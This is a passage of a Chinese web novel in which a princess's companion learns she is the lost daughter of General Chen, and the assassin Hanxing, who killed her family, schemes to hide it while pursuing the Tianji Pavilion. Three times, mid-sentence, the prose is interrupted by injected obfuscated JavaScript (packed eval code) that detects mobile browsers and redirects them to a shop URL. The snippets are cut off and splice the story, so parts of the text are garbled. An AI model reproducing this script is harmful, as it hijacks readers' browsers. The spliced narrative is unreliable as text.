大夫捋着自己花白的胡须,思忖道,“公主刚服了药,药效还得过阵子才能发挥出来,若是眼下再吃东西,只怕还是要吐的,若能好好睡一觉,倒是对身体恢复有所裨益。” “行吧。”肃安王给平乐掖了掖被角,“那你好好休息,等明天早上我叫你起来吃饭。” 平乐笑着点点头,“好。” 肃安王出门时遇到了席容烟,出于礼貌,也出于对其父——镇西大将军陈玄赫的敬意,他冲她行了个礼,“驿馆简陋,委屈阏氏了。” 席容烟见他行此大礼,愣了愣,好半天才缓过神来,“没事没事,我觉得已经很好了,王爷不必如此客气。” “阏氏是睡不着吗,怎么出来了。” 席容烟指了指平乐的房门,“我听说平乐公主身体不适,想着来看看她。” “劳动阏氏了,不过平乐服了药,现下已经歇息了。” “既如此,我明日再来探望吧。” “好。” 席容烟微一颔首,正要离开,肃安王连忙出声拦住,“阏氏请等一下。” “王爷还有事?” 肃安王注视着她的眼睛,迟疑道,“阏氏可曾听过,陈兰旌这个名字?” 席容烟一怔,她的思绪被拉扯回含混不清的遥远梦境,“旌儿——” 肃安王发觉她的异样,“阏氏听过这个名字,对吗?” 席容烟艰难地点了点头,“是,我曾经做过很多次梦,梦里的人便是这样叫我的,王爷,你是不是知道些什么?” 肃安王闻言,脸上浮现出惊喜的神色,他一挥袖,冲她长身而拜,席容烟连忙扶住他,“王爷你这是做什么!我如何受得起?” 肃安王不为所动,仍然保持着行礼的姿势,“你受得起,因为你是镇西大将军的女儿,本王这一拜,是拜陈将军的后人。” 席容烟彻底愣住了,她张了张嘴,却一点声音也发不出来。她曾经因为席容炎死前的话,怀疑过自己的身世,可当寒星把当年陈府的死亡名册摆到她跟前的时候,她看见“陈兰旌”三个字赫然在列,便相信了寒星所说的陈府上下无一人生还,可是现在,突然有一个人斩钉截铁地告诉她,你,就是陈兰旌,你,就是陈玄赫的女儿。 席容烟一时半会儿没有办法接受这个变化,此刻,她的心绪纷乱,就连呼吸仿佛都成了一种负担。 席容烟整个人陷入了一种游离的状态,她看见肃安王的嘴唇一张一合,似乎是在说着些什么,可她一个字也听不见。 不知过了多久,席容烟艰难地开口,“王爷,你有证据能够证明你说的话吗?” 席容烟一直都想弄清楚自己的身世,她一直都想知道自己的亲生父母究竟是谁,可等真到了这一天,她反而怕了,她不知道自己在怕什么,但她知道,自己的确是怕了。 “天琦说,陈兰旌的眉心处有一个小小的凹陷,而你,也有。” “凹陷?”席容烟下意识抬手揉了揉自己的眉心,“我怎么从来没留意过。” “平日瞧着不是很明显,你一会儿回屋,借着烛光从侧面看,应该能看到。” 席容烟顾不得礼数,匆匆忙忙提步跑回屋内。 肃安王没有动,他就静静地站在门口,等她回来。 过了一会儿,只见席容烟步子踉跄,满眼不可置信地走了过来。 她的声音微微有些发颤,“王爷,我真的是陈家的女儿?” “嗯。”肃安王点了点头,“你还记得从前的事吗?” “我只记得,好像有过一场大火,因为我总会做这样的噩梦,梦里火光冲天,哀号一片,有一个人冲我大喊,‘旌儿,活下去’。” 说话间,两道清泪从席容烟细瓷般的脸颊滑落,她从前以为这只是一场噩梦,却没想到,原来梦里发生的一切都是真的。 她抬指抹去眼角的泪痕,深吸一口气,“王爷,你知道陈府当年到底发生了什么吗,我的父亲母亲是被谁杀死的,我又是怎么活下来的?” 肃安王想了想,摇头道,“我只知道,陈将军当年是被席容炎陷害,可是此事似乎另有隐情。” “什么隐情?” 肃安王犹豫了一下,当年他从平乐口中得知事情真相,曾经数度去信,向先帝提及此事,可先帝却一直以各种理由搪塞拖延,最后若不是为了彻底扳倒席容炎,只怕先帝还是不肯为陈玄赫洗刷冤屈。 先帝去后,魏晗烨承继大统,他登基后做的第一件事就是彻查陈玄赫谋反一案,为陈家满门平反昭雪,可最后,陈玄赫的名声是正回来了,但此案真相却是不了了之。 肃安王想起席容炎死前所说的话,暗暗猜到此事怕是与先帝脱不开干系。可他和魏晗烨都是先帝之子,纵然知道其中的是非曲直,也没办法指责自己的生身父亲。 于是,肃安王含糊道,“毕竟已经过去十多年了,很多牵涉其中的人都已经不在人世了,本王也不知道,为何陈家全族五百余人尽数死在了那场大火中,只有你活了下来。” 席容烟身形一晃,眼中蓄着泪光,“都死了吗……” 肃安王想拍一拍她的肩膀,才伸出手,却又觉得不妥,忙收了回来,“阏氏放心,本王已经派人去鄯州的天机阁打探消息了,估计不日便会有消息传回。” 席容烟张了张嘴,发出来的声音轻飘飘的,像是一叶没有根的浮萍,“好。” 她扶着桃夭的手走了两步,忽又站住,转过身来看着肃安王,“王爷,我还有一个问题。” 肃安王怕她栽倒,下意识往前走了一步,“你说。” 席容烟紧抿唇瓣,一字一顿道,“我想知道,这件事和寒星有没有关系。” 桃夭听见她的话,一脸震惊,不由自主地打了个哆嗦。 肃安王默了默,郑重道,“这件事,本王确实不知道,本王只知道,曾经的宰相府暗卫统领寒星,便是如今的西域可汗。当年苏里唐杀了寒星的生父依拉洪,夺取西域汗王之位,还派出追兵将寒星母子赶尽杀绝。” 肃安王说到这里,稍一迟疑,继续道,“不过,依拉洪到底死于谁手,还未可知,这不重要,至于为何寒星没有死,他又在这十多年间做了什么,本王也不清楚,如果阏氏疑心寒星,我们可以绕路去鄯州,找天机阁阁主问个明白。” 席容烟毫不迟疑地说,“好,那我们明日就动身吧。” 肃安王犹豫道,“我想问一句,如果寒星真的和当年之事有所牵涉,你打算怎么办呢?” 风过处,一抹碎雪,一地残影,一团孤痕。 席容烟迎着风,阖上了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502817|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语调轻柔而又坚定,“杀人偿命,血债血偿。” 肃安王暗道,你真的舍得杀他吗?但他没有把心里的话问出来,他陪着她站在扑面而来的风雪之中,站了很久,很久。 四下里鸦雀无声,漆黑一片,夜,已经很深了。 寒星披着大氅,松松倚在屋脊上,他的身影仿佛一片微不足道的枯叶,在风中轻轻颤动。 寒星记挂着席容烟的安危,回去简单安排了一番,便快马加鞭赶来了。 肃安王和席容烟的一番话,一字不落地落到了他的耳朵里。 这一天还是来了,终究,是瞒不住了。 寒木一跃而上,立在他的身侧,“想好怎么办了吗?” 寒星沉默了,他从前杀过许多人,干过许多事,一向是杀伐决断,雷厉风行的,可如今,他第一次感觉到棘手,他,不知道该怎么办了。 寒木重重叹了口气,“我早就和你说过,这个女人迟早是个麻烦,可不管我怎么劝你,你都不肯听,如今好了,麻烦这不就找过来了。” 寒星闻言,抬眸注视着寒木的眼睛,苦笑道,“木头,你不明白,有些麻烦不是你想躲就能躲得了的,我刚刚想了很多事,也想明白了很多事。” 寒木扬了扬眉,“你想明白了什么?” 寒星没有立刻答言,他站起身来,俯瞰着一眼望不到头的苍凉夜色,“十三年前,我杀了她全家,却又阴错阳差,出手救了她。我刚才一直在想,如果我没有杀她的父母、族人,她应该会在家人的呵护下,快乐无忧地长大,而我和她,这辈子都不会有任何交集。我杀了她的父母,她才会无家可归,她才会流落街头,她才会遇上我,我们之间才会有接下来发生的一切一切。这件事,是我做过的最大的错事,却也是我觉得最正确的决定。” 寒木的嘴唇动了动,半晌,他吐出几个字,“疯了,你真是疯了。” 寒星牵着嘴角,似是自嘲,“是,我的确离疯不远了。” “那你打算怎么办,同她和盘托出吗,看她能不能原谅你?” 寒星摇头,“阿烟的性子我又不是不知道,倘若她知道是我杀了她的家人,怕是要跟我拼命的。” 寒木不以为意,“那又怎样,反正她也打不过你,你想把她制服还不是分分钟的事儿。” “不,不到万不得已,我不能这么对她。”寒星的眼中忽然闪过一丝光芒,“木头,我有了一个好主意。” “什么主意?” “我想编一个谎言,一个天衣无缝的谎言,木头,我们要抢在肃安王他们之前找到天机阁,威逼天机阁的阁主帮我们把这个谎圆了。” 寒木皱眉道,“寒星你知不知道,纸是包不住火的,你撒一个谎,就要用千千万万个谎去圆,你打算撒谎撒到什么时候,一辈子吗?” “一辈子又如何,只要她不厌弃我,不离开我,我做什么都心甘情愿。” 寒木沉默良久,幽幽道,“你有没有想过,如果她真的爱你,即便她知道了事情真相,还是会选择原谅你的。我打个比方,如果你最后查出,是她杀了你的父亲,你会恨她吗?” “首先,你这个假设根本就不成立,阿烟不可能是杀害我父亲的凶手,在事情没有发生的前提下,我也不知道自己最后会作何打算。其次,我杀的不是一个人,而是陈家上上下下五百余人,这些人都是她的家人,都是她的骨肉至亲,木头,你觉得她有可能一点都不恨我吗?”寒星轻哼一声,自言自语道,“不可能的,如果真的是这样,她就不是席容烟了。” 寒木不知道该说什么了,他虽然和寒星一条心,却也明白,这件事确实是寒星对不住她,他叹气道,“你们两个,真真是一场孽缘。” “是啊——”寒星点头,低声重复了一遍,“确实是一场孽缘——” 110. 天机未可量 鄯州。 盐雪迷眼,回风交疾。 寒木顶着排空的阴风狂雪,走在空无一人的街巷上,他抬手紧了紧自己氅衣的风领,“嘶,这儿什么鬼地方啊,死冷死冷的,连个喘气儿的活人都瞧不见。” 寒星取下马背上的酒葫芦,自己仰脖喝了一口,转手递给寒木,“呐,喝点酒暖和暖和。” 寒木毫不客气地接过酒葫芦,咕嘟咕嘟喝了起来,“啊,痛快!” 寒星笑笑,“统共就剩这么点酒了,你省着点喝。” 寒木撂下酒葫芦,胡乱用袖子擦擦下巴,有些不好意思地说,“说晚了,没了。” 寒星瞪大了眼睛,“一滴都不剩了?” “嗯,一滴都不剩了。” 寒星无可奈何,把空空如也的酒葫芦挂回马背,“行吧,那我们先找个地方吃点东西,垫垫肚子。” “好啊!” 寒木的肚子早就饿得咕咕叫了,这会子听说要去吃东西,他的眼睛一下子就亮了起来,不过他很快就意识到不对。 整条街的店铺都把门窗关得死死的,哪有开门做生意的样子,寒木环顾一圈,摊摊手,“寒星,咱们吃什么?吃西北风吗?” “呃……”寒星也很无语,他知道这地方荒凉,可他没想到,这地方居然这么荒凉…… 他在心底默默叹了口气,他走得急,身上除了酒葫芦,只有一些碎银子,其他什么东西都没带,唉,早知道从肃安王那里顺点吃的好了,现下也不至于饿肚子啊。 寒星随手一指,“那个酒楼瞧着挺气派的,那儿肯定有吃的,走,咱们去那儿看看。” 寒木对寒星所说的那个酒楼根本不抱什么希望,他们一路走来,就没看到哪家酒楼是开着门的,不过眼下他们也只能瞎猫碰死耗子,去那儿撞撞运气了。 等走近了,二人才发现,这家酒楼居然真开着门呢。 寒木高兴得几乎要跳起来,他快步走进去,大喊,“小二!快给我们烫壶热酒!” 寒星比寒木慢了一步,他迈进大门时,正好听见一个苍老年迈的声音传来,“来了。” 寒星皱皱眉,仔细打量着从帘子后面闪出的身影。 老人头发花白,步履蹒跚,看起来已经一把年纪了,不过寒星敏锐地发现,这个老人的眼睛并不浑浊,反而比一些年轻人还要透亮许多。 老人笑呵呵地询问,“两位客官想要吃点什么?” 寒木掀袍坐下,“好酒好菜!都给我们捡最好的上!” “好嘞,两位客官稍等片刻,酒菜一会儿就好。” 老人说完,便又掀帘子回去了。 寒星在寒木的对面坐下,“喂,你带银子了吗?” “没啊。” “那你还跟人家说,什么都捡最好的上?” 寒木咧嘴一笑,“嘿嘿,管他呢,老子都饿得前胸贴后背了,先吃饱饭再说。” 寒星舔舔干裂的嘴唇,悄声道,“一会儿菜上来了,你先别着急吃,看我眼神行事。” “怎么,你担心这菜里有毒啊?” 寒木扫视一圈,“你不觉得这儿很奇怪吗,整条街的店铺都关着门,唯独这家酒楼开着,大中午的,正是吃饭的点儿,酒楼里却只有我们两个客人还有刚才出现过的那个老人,而且那个老人都一大把年纪了,难不成,他又管记账又管做饭?” “嘶,还真是啊,你这么一说还真是挺奇怪的。” 这时候,老人端着饭菜从帘子后面走了出来,他脸上依旧是笑呵呵的,“好酒好菜来喽。” 寒星瞥了一眼,这些菜虽然谈不上有多精致,倒也是色香味俱全,看起来挺有食欲的。 寒木嗅到饭菜的香气,激动地直抽鼻子,他抓起筷子,正准备大吃一顿,突然想起了寒星的话,赶紧又把筷子放了回去。 老人笑道,“两位客官怎么不动筷子呀,是不是老朽做的饭菜不合两位口味呀?” 寒星抽出桌子底下的板櫈,拂了拂上面的一层浮灰,笑道,“不急,老人家请坐,我们两个人从外地来,对这儿的情况不是很清楚,所以想找老人家打听打听。” 寒木跟着点头,“没错,我们其实不是很饿,主要是想打听些事儿。” 老人颤颤巍巍地坐下,“原来是这样,客官有什么想知道的就问吧,老朽一定知无不言。” 寒星提壶斟酒,他的嗅觉十分敏锐,倒酒的时候就已经确定这酒中无毒,不过为保万全,他还是先给老人倒了一杯,“老人家,请。” 老人接过酒,浅浅抿了一口,“两位客官从哪里来呀?” 寒星信口胡诌,“我们从奉城来。” “奉城?”老人眯起眼睛,上上下下打量着他们,“那也不是很远嘛,两位客官之前就从来没来过我们这儿吗?” 寒木看见老人喝了酒,料着酒中无毒,扬脖猛灌了一大口,这会子呛得咳嗽起来。 寒星一面拍着寒木的背,一面解释道,“我们其实是做买卖的生意人,虽然家在奉城,但一年年的都漂在外头,平时也不怎么回去,所以我们对奉城周边的地方也不是很熟悉。” “哦,其实我们这儿不是什么好地方,夏天热死,冬天冷死,庄稼种不起来,生意更是没法做,稍微有点能耐的人都闯出去另谋生路了,只剩下我们这些老家伙还在这儿熬着。” 寒星点点头,“这家酒楼里就只有您一个人吗,您自己能忙得过来吗?” “原本还有我儿子,他前年上京赶考去了,之后就再没回来过,唉,也不知道他考没考上,现在怎么样了,反正如今,这儿就只剩下我一个人了。” “这样啊,那您可是要累坏了。” 老人呷了口酒,“还好,估计两位客官一路过来也看到了,我们这儿人不多,一天到晚酒楼里也没几个客人,哈哈哈,我倒是盼着能来个人,陪我说说话呢。” 寒木开口道,“是啊,现在还没到晚上呢,为什么家家户户都闭门不出呢,我们走在大街上,连个人影都瞧不见,真是太奇怪了。” 老人叹气道,“我们这儿啊,挨着西域的大南边,最近也不知是怎么了,总有一伙西域人有事没事就过来烧杀抢掠,大伙都怕得很,所以啊,就算大白天也都躲在家里,不敢出来。” 寒木一拍桌子,“胡说八道!自从西域和大魏和好之后,西域的士兵们就再也没进犯过大魏一毫一厘,你这些浑话都是打哪儿听来的?” 老人被他吓了一大跳,捂着胸口说,“你又不是西域人,你发这么大脾气做什么,再说我也没胡说呀,你要是不信,就在这儿待两天,自己亲眼瞧瞧不就知道了。” 寒星忙道,“木头,别吓着老人家。” 寒木便不作声了。 寒星对老人微微一笑,“老人家,你别害怕,我兄弟嗓门大,说话一向都是这个样子,他没有恶意的。你刚刚说此地总有西域人过来抢东西,这些西域人都长什么样子?” “样子嘛,就是胡人的样子,不过他们看起来挺狼狈的,每次来呢,也都是抢完就走,从来不敢多留,感觉像是西域的逃兵?” “他们经常来吗?” “嗯,三四天吧,最迟五六天,他们就会来一次,上次来是两天前了,估摸着又快了。” 寒星心中隐隐有了计较,如果他没猜错,这伙西域人应该是穆则帕尔手下的游兵,要是运气好的话,没准他还能顺藤摸瓜,找到穆则帕尔的下落。 寒星这么想着,从怀中掏出一小块银子,歉然道,“老人家,最近生意不太好做,我们身上也没有多少银子了,老人家能不能帮帮忙,收留我们在你这儿住上两天。” “这……”老人皱眉道,“客官啊,不是我嫌银子少,实在是不安全啊,眼瞅着西域人就又要来了,你们俩还是快些走吧。” 寒星笑道,“老人家,我们跟一块儿做生意的朋友走散了,约定在鄯州会合,所以我们少不得要在这儿住两天,反正我们身上也没什么银钱,那些西域人就是来了也抢不走什么,我们在这儿还能陪您说说话,解解闷,您就帮帮忙吧。” 寒木连忙附和着,“是啊是啊,老人家,您行行好,给我们个地方住吧,要不我们就得露宿街头了,那不是更不安全吗,拜托您了。” 老人看了眼寒木,又看了眼寒星,无奈道,“好吧,你们要是不怕死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗐,这有什么大不了的。”老人推开寒星的手,一个人往棺材那边走了过去,一边走,一边絮叨着,“人活了一辈子,还不是早晚都要住到棺材里,我不过是比别人早一步罢了。” 寒星看着老人熟练地跳进棺材,又慢慢地从里面把棺材盖合拢,只留下一小条用来呼吸的缝儿,寒星心中涌起了一种复杂的情感,他第一次发现,原来死亡可以以活着的形式呈现。 寒木原本打算再吃一阵儿,只是眼下,他确实没有这个兴致了,寒木咽下嘴里的食物,和寒星飞快对视一眼,二人将杯中酒喝光,简单收拾了一下碗盘,便上楼睡觉去了。 上楼时,寒星站住脚,回头望了一眼静静躺在棺木里的老人。 老人呼吸均匀,看起来已经睡着了,因为喝酒的缘故,他的脸上红扑扑的,和埋葬死人的棺木放在一起有些诡异。 在这一刻,寒星突然对这个老人生出了一股敬意。 他见过很多人都说自己活够了,说自己活着还不如死了,可实际上呢,大部分人都只是说说而已,没有人真的不怕死,没有人真的能抛下一切,坦然地走向死亡。 寒星从前倒是可以说自己无畏生死,可在遇见席容烟之后,他也有了牵挂,有了不舍,有了惧意,他已经不是从前那个心无挂碍的寒星了。 可这位老人呢,他或许经历过很多不堪回首的往事,可他在言谈间丝毫没有表现出厌世的情绪,尽管他的妻子已经去世,儿子也不在身边,可他依然十分积极乐观地生活着,他的脸上始终洋溢着幸福的微笑。 但同时,他也并不畏惧死亡,他可以坦然地躺在棺材里,躺在这个以后将会埋葬他尸身的所在,夜复一夜,十分安详地睡着。 此时,寒木已经走到了房间门口,他回头看见寒星还在那里愣神,便伸手扯了寒星一把,示意他赶紧跟上。 二人进了屋,寒木把门关好,又插上了门闩,这才长舒一口气,他整个人呈“大”字形往床上一躺,“嚯,这一路上可累死我了,终于能舒舒服服睡个好觉了!” 寒星一连赶了好几日的路,这会子也有点睁不开眼睛,他打了个哈欠,和衣而眠。 111. 一入天机阁 寒星醒来的时候,天刚擦黑,屋里静悄悄的,他只能听见寒木均匀而又沉闷的鼾声。 寒星睁着眼睛躺了一会儿,见寒木还是没有醒来的意思,便自己披上大氅,推门下楼。 楼下也是一片漆黑,只有麻布帘子后面透出些许光亮,还时不时传来一阵阵细微的响声。 寒星三步两步飞到楼下,试探着问,“老人家?” 一语落地,半天没有人回应,他想了想,顺手用剑柄挑开帘子,只见那个老人背对着他,手中忙忙碌碌,似乎是在切菜。 寒星走上前去,轻声唤道,“老人家?” 老人的手一顿,他慢悠悠地转过身子,看见是他,和蔼一笑,“你醒了。” “嗯。”寒星提着剑,在厨房里四处张望,“老人家,你这是在做什么?” “下点面条吃。”老人看了寒星一眼,“你吃不吃,你要是吃,我再切二三斤熟牛肉。” 寒星笑道,“那敢情好,我叫木头起来一起吃。” 老人摇摇头,“他吃醉了酒,且得睡一阵儿呢,明天能起来就不错了,别管他,你先把这两个菜端进去,等一会儿酒烫好了,咱爷俩喝两口。” 寒星正想向老人打听天机阁的事情,于是爽快应道,“好!” 二人落座,寒星先给老人斟了一杯酒,诚恳道,“老人家,我敬你一杯,谢谢你这么热情地招待我们,收留我们。” 老人抿了口酒,把酒杯轻轻搁在桌上,“这有什么的,出门在外,谁还没有个难处啊。”他说着,抬眼看向寒星,“而且,你和我儿子的年纪一般大,我照顾你,也是照顾他。” 寒星的喉结动了动,他给自己斟了一大杯酒,仰头尽数喝下。 “老人家,你叫什么名字啊。” 老人没有回答,他伸出手,拍了拍寒星的背,忽然没头没脑地说,“孩子,我知道你们两个是来做什么的,别找了,回去吧。” 寒星怔了怔,“老人家,你在说什么?” 老人笑笑,“天机阁,不是吗?” 寒星心中一惊,他警惕地看着老人,手下意识地搭在了剑柄上,“你究竟是谁?” 老人的笑容依旧温和,他挥了挥手,熄灭了桌上的烛火,房间立时陷入一片黑暗。 寒星的眼皮突然开始发沉,在陷入昏睡之前,他听到老人平静的声音,“我叫单枚。” 天放晴了,昨日的酒楼就像一场梦一样,无影无踪,无迹可寻。 寒木一直睡到第二天中午才醒,他伸了个懒腰,闭着眼睛去扒拉旁边的寒星。 寒木没有摸到寒星,他的手触碰到了泥土,冰凉而又干硬。 他被吓了一大跳,猛地睁开眼睛,这才发现自己居然睡在了地上。 他心头一紧,一骨碌爬起来,大声呼喊寒星的名字,“寒星!寒星!” 寒星躺在离寒木不远的地方,自从老人把蜡烛熄灭之后,他就一直处于一种半睡半醒的状态,现下听见寒木喊自己,寒星运转体内怜冰决的真气,强迫自己醒了过来。 “我在这儿。” 寒木快步跑过去,一把拽起寒星,“你没事儿吧?” 寒星扑了扑身上的灰,淡淡地说,“没事。” 寒木听见他说没事,稍稍放下心来,他看了眼旁边光秃秃的枯树,疑惑道,“我们这是在哪里呀?究竟发生什么事了?酒楼呢?还有那个老人呢?” “木头,那是一场幻境。” 寒木揉着自己的后脑勺,“幻境?什么幻境?我不明白。” “糖梨膏~好吃的糖梨膏啊~” “来来来,尝一尝看一看喽,猪胰胡饼。” “得嘞,桐皮面一份,精肉浇头,客官里面请!” 此起彼伏的吆喝声、叫卖声、喧嚷声争先恐后地涌进耳畔,寒星看着不远处热闹的街市,缓缓道,“昨天我们看到的一切都是假的,那个老人,那个酒楼,还有那个空无一人的鄯州,都是天机阁阁主给我们编织出来的一场幻境。” 寒木目瞪口呆,“都是假的?” “嗯,鄯州虽然偏了点,也不至于大白天连个活人都看不见,你瞧,那边多热闹啊。” 寒木不敢相信自己眼前发生的一切,他皱着眉,嘟囔道,“都是……假的?” 寒星扯了扯他的袖子,“走,我们去那边看看。” 二人提步,往人群中走去。 街市上人声鼎沸,烟火气息十分浓郁,与昨日所见有着天壤之别,寒木穿行其间,只觉得不可思议,半晌,他突然说,“寒星,你说有没有可能,我们现在看到的一切也都是假的?” 寒星点点头,“有可能。” 寒木停下脚步,“那怎么办?” 寒星也跟着停下,“既来之则安之呗。” 说话间,二人正好站在了一家食店的门口,寒星闻见飘散出来的饭菜香味,扬扬下巴,“走吧,我们先进去吃点东西,边吃边聊。” 二人坐定,店小二搭着抹布,殷勤地过来询问,“两位客官,吃点什么?” 寒木心有余悸地打量着店小二,怎么看怎么觉得他也是假的,寒木本就长得形容粗犷,如今又拧眉瞪视,模样十分吓人。 店小二被寒木盯得有些发毛,他侧了侧身子,转向看起来稍微安全一点的寒星,勉强挤出一个笑容,“客官,看看来点什么?” “两碗姜泼刀,一份精浇,一份膘浇。” “好嘞。” “你们还有什么拿手菜吗?” “鸡松、云林鹅、醉虾都卖得不错。” “好,你说的这几个,每样来一份,再烫两壶热酒,多少钱?” 店小二掰着手指头算了算,“一共是七十六文。” 寒星挑挑眉,他没想到这儿的物价居然这么便宜,他掏出一小块碎银子,递给店小二,大方道,“不用找了,剩下的都赏你了。” 店小二喜得眉开眼笑,赶着道谢,“客官您稍后,酒菜马上就好。” 寒木忽然开口,“等一下。” 店小二只得站住脚,因为害怕寒木的缘故,他的声音有点发颤,“客官还有什么吩咐?” 寒星看着寒木,也不知道他要做什么。 寒木拂了拂袖子,一本正经地说,“再加两碗姜泼刀。” “啊……”店小二明白过来,“好的好的,一共四碗姜泼刀,两位客官稍候。”说完,他就赶紧溜之大吉了。 寒星很是无语,寒木笑着解释道,“那个,一人一碗肯定吃不饱,而且你花了那么多钱,不多吃点岂不亏了。” “先说好,我就吃一碗,剩下三碗都是你的,你可别吃不了。” “本来就都是我的呀,压根儿没带你的份儿。” 寒星更无语了。 不一会儿,店小二托着一盘子酒菜过来了,“来啦,四碗姜泼刀,两份浇头,一份鸡松、一份云林鹅,一份醉虾,两壶热酒,另外,这碟脂麻团子还有这碟水晶脍是送给两位客官的小菜,酒菜这就都上齐了,两位客官慢用。” 寒星微一颔首,“有劳。” 这家食店虽然饭菜做得一般,酒却酿得十分香醇,很快,两壶酒就都空了,寒星意犹未尽,很想再要一壶,但因为他一会儿要去找天机阁,不便多饮,于是搁下筷子,“我吃饱了。” 寒木捧起最后一碗姜泼刀,一筷子挑起一大把,含混不清地说,“等一下,我马上。” “不急,你慢慢吃。” 寒星冲店小二招了招手,店小二看见寒星叫他,赶紧小跑着过来,笑道,“怎么了客官?” “你中午吃饭了没?” “还没。” 寒星指指桌子侧面的板櫈,“坐,我请你吃。” “啊?客官,这不好吧。” “这有什么不好的,大中午的也该吃饭了,我给你的银子够不够,不够我再给你一点。” 店小二连连摆手,“够了够了,不用再给了,客官略坐坐,我去盛碗面条。” 不一会儿,店小二端着一大碗面条回来了。 寒星趁他吃饭的工夫,和他搭了两句话,打听到他叫二毛,二十出头,是鄯州本地人。 “二毛,你听说过天机阁吗?” “听说过,两位客官也是为了天机阁而来?” 寒木惊喜不已,一把拽住二毛,“你知道天机阁在哪?那可太好了,快带我们两个过去。” 二毛下意识往后缩了缩,诺诺道,“客官,我只是听说过,具体在哪,我也不知道啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“会被发现,但在梦境坍塌之前,里面的人都没办法出来,所以,混进去的人要么死在里面,要么和大家一起出来。” “啊?”寒木张了张嘴,“还有生命危险?” “那当然,天机阁最出名的是它的消息网罗,但实际上,它最厉害的是以命换命,可以让人死而复生,不过要付出的代价肯定很大很大就是了。” 寒木闻言,惊叹道,“以命换命,死而复生,这天机阁好生厉害!” 寒星想了想,问道,“二毛,你知道有谁是通过天机阁死而复生的吗?” “这个我还真不知道。”二毛有些不好意思地挠了挠头,“其实我刚才说的那些都是听家里的老人讲的,有关天机阁的传言太多了,可它究竟是怎么一回事,我也不确定,说实话,如果有机会的话,我还想找天机阁的阁主问问呢。” “问什么?” 二毛低下头,讪讪地说,“问问我什么时候能讨到老婆。” 寒星忍不住笑了起来,“哈哈哈,不急,你还小呢。” 二毛垂头丧气,“哎,客官有所不知,我们这儿人少,年轻的姑娘就更少了,等到了该出嫁的年纪,她们的父母都想把她们往外边嫁,像我这种没什么本事的当地人根本就讨不了姑娘们的欢心,我也老大不小了,家里父母还等着抱孙子呢,怎么能不急。” 寒星只得安慰了二毛两句,等寒木吃完了,寒星便和寒木一道出来了。 二人走在大街上,漫无目的地闲逛。 寒星说,“等肃安王到了,咱们托他的梦,再进一次天机阁。” 寒木说,“估计肃安王他们还得过几天才能到呢,在此之前,你打算怎么办?” “找一个人。”寒星掏出尧里瓦斯给他的小册子,念道,“鄯州,铁匠。” “没了?” “没了。” “这信息量也太少了,连个名字都没有,怎么找啊。” “慢慢找呗,反正闲着也是闲着。” 寒木犹豫了一下,迟疑道,“寒星,等肃安王他们到了,你不怕遇到她吗?” 寒星自然知道寒木口中的“她”是谁,他淡淡道,“早晚都要面对,怕又有什么用呢。” 112. 二入天机阁 雪天路滑,再加上平乐身子不好,肃安王一行人比寒星他们足足晚了四日才到。 席容烟坐在轿子里,有些心不在焉。 桃夭想哄她开心,便说,“姑娘要不要吃块小点心,肃安王知道平乐公主喜欢吃这口,此行特意带上了酥芳斋的糕饼师傅,听说手艺比御膳房还绝呢,姑娘尝尝。” 席容烟扫了眼桃夭手里的点心,“先放那吧,我这会子不饿。” 桃夭扁扁嘴,“姑娘昨天说头晕恶心,只用了一碗银耳粥,连点荤腥都不沾,今早更是什么东西都没有吃,这会子怎么可能不饿呢。” 席容烟垂眸,“我吃不下。” “姑娘——”桃夭还要再劝,忽见一道身影闪入轿内,待看清楚那人的模样时,她不觉怔住了,“寒将军?啊不,大汗。” 席容烟痴痴地望着寒星,不说话。 寒星俯身亲吻她的额头,低声道,“为什么不好好吃饭?” 席容烟像是忽然想起了什么似的,伸手把他往外推,“你出去,我现在不想看到你。” 寒星不为所动,反而上前一步,将席容烟抵在了轿子的最里面,“可我想你了,怎么办。” 桃夭的脸比熟透的桃子还红,她识趣地挑起帘子,临走时还不忘记念叨,“我什么都没看见,放心啊,我不会说出去的。” 席容烟冷着脸,“寒星,放开我。” 寒星笑意阑珊,他伸手捏住她的下巴,目光中有了一丝挑衅的意味,“我要是不放呢?” “那我可要喊人了,肃安王带来的兵马就在外面,他若知道你在这里,你说,他会不会立刻把你捉住,绑回京城?” 寒星闻言笑了笑,他低下头,灼热的气息染红了她的耳根,她只觉得,他的唇几乎已经贴在了自己的脸上。 “阿烟,你是在威胁我吗?你知不知道,我生平最讨厌被人威胁了。” “寒星,我没和你开玩笑,你要是再不走,我可真要喊人了。” “好啊,你喊啊。” 席容烟张了张嘴,却没发出声音,寒星嗤之一笑,“阿烟,别骗自己了,你舍不得的。” 他的薄唇覆在她细瓷般的面颊上,如同一片冰冰凉的雪花飘落在风中。 席容烟恼羞成怒,张口便要喊人,可是已经迟了,寒星吮吸着她的唇瓣,贪婪而又克制,霸道而又温柔,她的意识逐渐涣散,随着他的亲吻一点点向下坠落。 “寒星——放开我——” 寒星没有说话,他的吻便是他要说的话,一日不见,如三秋兮,他实在是太想她了。 他知道她此刻正怀疑着他,甚至有可能正恨着他,可他统统不想管,他只想和她在一起,紧紧地在一起。 席容烟有些喘不过气,她紧抿唇瓣,认真凝视着这个近在咫尺,正与她耳鬓厮磨的男人,寒星察觉到她的目光,笑道,“好看吗?” 席容烟别过脸去,“不好看。” 